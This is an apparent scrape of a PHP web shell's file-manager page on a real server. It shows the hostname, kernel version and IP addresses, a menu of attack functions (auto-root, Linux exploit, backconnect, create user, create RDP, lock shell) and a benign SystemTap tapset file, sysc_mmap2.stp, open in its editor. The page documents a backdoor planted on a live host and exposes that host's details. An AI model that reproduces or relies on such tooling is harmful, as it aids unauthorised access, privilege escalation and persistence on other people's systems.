Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
linux /
i386 /
[ HOME SHELL ]
Name
Size
Permission
Action
aux_syscalls.stp
2.94
KB
-rw-r--r--
sysc_execve.stp
1.94
KB
-rw-r--r--
sysc_get_thread_area.stp
2.31
KB
-rw-r--r--
sysc_iopl.stp
2.4
KB
-rw-r--r--
sysc_ipc.stp
1.49
KB
-rw-r--r--
sysc_mmap2.stp
2.42
KB
-rw-r--r--
sysc_set_thread_area.stp
2.24
KB
-rw-r--r--
sysc_set_zone_reclaim.stp
1.53
KB
-rw-r--r--
sysc_sigaltstack.stp
2.63
KB
-rw-r--r--
sysc_vm86.stp
1.05
KB
-rw-r--r--
sysc_vm86old.stp
1.13
KB
-rw-r--r--
syscall_num.stp
28.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sysc_mmap2.stp
# In kernels < 2.6.33, mmap()/mmap2() was handled by arch-specific # code. In kernels >= 2.6.33, the arch-specific code just calls # generic sys_mmap_pgoff(). %( kernel_v < "2.6.33" %? # mmap2 ____________________________________________ # sys_mmap2(unsigned long addr, unsigned long len, # unsigned long prot, unsigned long flags, # unsigned long fd, unsigned long pgoff) # @define _SYSCALL_MMAP2_NAME %( name = "mmap2" %) @define _SYSCALL_MMAP2_ARGSTR %( argstr = sprintf("%p, %u, %s, %s, %d, %d", start, length, prot_str, flags_str, fd, pgoffset) %) probe syscall.mmap2 = dw_syscall.mmap2 !, nd_syscall.mmap2 ? {} probe syscall.mmap2.return = dw_syscall.mmap2.return !, nd_syscall.mmap2.return ? {} # dw_mmap2 _____________________________________________________ probe dw_syscall.mmap2 = __syscall.mmap2 ?, __syscall.mmap_pgoff ? { @_SYSCALL_MMAP2_NAME start = $addr length = $len prot = $prot prot_str = _mprotect_prot_str(prot) flags = $flags flags_str = _mmap_flags(flags) # Although the kernel gets an unsigned long fd, on the # user-side it is a signed int. Fix this. fd = __int32($fd) @_SYSCALL_MMAP2_ARGSTR } probe __syscall.mmap2 = kernel.function("sys_mmap2") { pgoffset = $pgoff } probe __syscall.mmap_pgoff = kernel.function("sys_mmap_pgoff") { pgoffset = $pgoff * @const("PAGE_SIZE") } probe dw_syscall.mmap2.return = kernel.function("sys_mmap2").return ?, kernel.function("sys_mmap_pgoff").return ? { @_SYSCALL_MMAP2_NAME @SYSC_RETVALSTR2($return) } # nd_mmap2 _____________________________________________________ probe nd_syscall.mmap2 = __nd_syscall.mmap2 ?, __nd_syscall.mmap_pgoff ? { @_SYSCALL_MMAP2_NAME asmlinkage() start = ulong_arg(1) length = ulong_arg(2) prot = ulong_arg(3) prot_str = _mprotect_prot_str(prot) flags = ulong_arg(4) flags_str = _mmap_flags(flags) # Although the kernel gets an unsigned long fd, on the # user-side it is a signed int. Fix this. fd = int_arg(5) @_SYSCALL_MMAP2_ARGSTR } probe __nd_syscall.mmap2 = kprobe.function("sys_mmap2") { asmlinkage() pgoffset = ulong_arg(6) } probe __nd_syscall.mmap_pgoff = kprobe.function("sys_mmap_pgoff") { asmlinkage() pgoffset = ulong_arg(6) * @const("PAGE_SIZE") } probe nd_syscall.mmap2.return = kprobe.function("sys_mmap2").return ?, kprobe.function("sys_mmap_pgoff").return ? { @_SYSCALL_MMAP2_NAME @SYSC_RETVALSTR2(returnval()) } %)
Close